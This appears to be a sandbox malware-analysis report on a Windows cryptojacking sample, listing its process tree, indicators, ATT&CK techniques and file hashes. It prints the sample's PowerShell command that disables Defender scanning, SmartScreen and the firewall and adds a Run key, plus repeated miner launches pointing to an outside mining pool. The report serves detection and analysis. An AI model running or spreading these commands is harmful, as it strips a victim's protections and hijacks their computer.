956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
3812	UpSys.exe
3812	UpSys.exe
3812	UpSys.exe
3812	UpSys.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

powershell.exeUpSys.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	3812	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	3812	UpSys.exe
Token: SeIncreaseQuotaPrivilege	3812	UpSys.exe
Token: 0	3812	UpSys.exe
Token: SeDebugPrivilege	3488	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	3488	UpSys.exe
Token: SeIncreaseQuotaPrivilege	3488	UpSys.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 956 wrote to memory of 636	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	powershell.exe
PID 956 wrote to memory of 636	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	powershell.exe
PID 956 wrote to memory of 1016	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1016	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 636 wrote to memory of 3812	636	powershell.exe	UpSys.exe
PID 636 wrote to memory of 3812	636	powershell.exe	UpSys.exe
PID 956 wrote to memory of 3888	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3888	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 636 wrote to memory of 3480	636	powershell.exe	netsh.exe
PID 636 wrote to memory of 3480	636	powershell.exe	netsh.exe
PID 956 wrote to memory of 2804	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2804	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1800	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1800	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1360	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1360	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 4000 wrote to memory of 2164	4000	UpSys.exe	powershell.exe
PID 4000 wrote to memory of 2164	4000	UpSys.exe	powershell.exe
PID 956 wrote to memory of 2848	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2848	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1828	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1828	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3236	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3236	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3452	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3452	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3288	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3288	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1944	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1944	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1940	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1940	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1920	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1920	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 540	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 540	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2804	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2804	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2252	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2252	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 660	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 660	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1188	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1188	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1944	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1944	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3248	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3248	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3812	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3812	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3284	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3284	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1576	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1576	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1288	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 1288	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 508	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 508	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3472	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 3472	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 796	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 796	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2800	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe
PID 956 wrote to memory of 2800	956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe	Database.exe

C:\Users\Admin\AppData\Local\Temp\dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
"C:\Users\Admin\AppData\Local\Temp\dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe"
1⤵
- Checks BIOS information in registry
- Checks computer location settings
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
2⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:636

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3812

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3488

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
3⤵
PID:3480

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1016

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3888

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2804

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1800

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1360

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2848

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1828

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3236

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3452

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3288

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
PID:1944

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1940

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1920

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:540

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2804

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2252

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:660

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1188

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1944

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3248

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3812

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3284

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:1576

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:1288

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:508

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3472

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:796

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:2800

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3988

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:864

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3268

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:2560

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3228

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3516

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3968

C:\ProgramData\Systemd\Database.exe
-epool eth-eu1.nanopool.org:9999 -ewal 0x34B27139451244A628F226fF7405f7E79407B00A -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -ftime 60 -tt 60 -tstop 70 -tstart 60 -coin eth
2⤵
- Executes dropped EXE
PID:1224

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
PID:1060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MicrosoftNetwork\System.exe
MD5
dec26ba8f682fe0dc0608af5e882544a

SHA1
a7298d5c29445ad9d34eee31bd89a9962915f84b

SHA256
dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0

SHA512
1caf7547171a4365dc16bd3b6d491145dfef84b38d85852a7881ba976a271d901c0d2d469c7992057e5b5b473f3116863ee7a8a9ec8b26a02f8f37e76042286c

Download Submit
C:\ProgramData\Systemd\Database.exe
MD5
d6ad40285a6ead50661c8c2e9522f1d2

SHA1
59f050e029a80076e5d0aff0548bd79205dcc0b8

SHA256
4da16bbf2df3aa270025446a8eff09d092bde30e6649d150ed20b6417e312078

SHA512
2a2494f8d3a489d4ac46e14d02fdb820294233cfcc729c54e2642189f86c4872a6433afb68c27aa6c0d48f3a787ab883cd30613395e56e338c2df1fd39289ae8

Download Submit
C:\ProgramData\Systemd\Database.exe
MD5
d6ad40285a6ead50661c8c2e9522f1d2

SHA1
59f050e029a80076e5d0aff0548bd79205dcc0b8

SHA256
4da16bbf2df3aa270025446a8eff09d092bde30e6649d150ed20b6417e312078

SHA512
2a2494f8d3a489d4ac46e14d02fdb820294233cfcc729c54e2642189f86c4872a6433afb68c27aa6c0d48f3a787ab883cd30613395e56e338c2df1fd39289ae8

Download Submit
C:\ProgramData\Systemd\Database.exe
MD5
d6ad40285a6ead50661c8c2e9522f1d2

SHA1
59f050e029a80076e5d0aff0548bd79205dcc0b8

SHA256
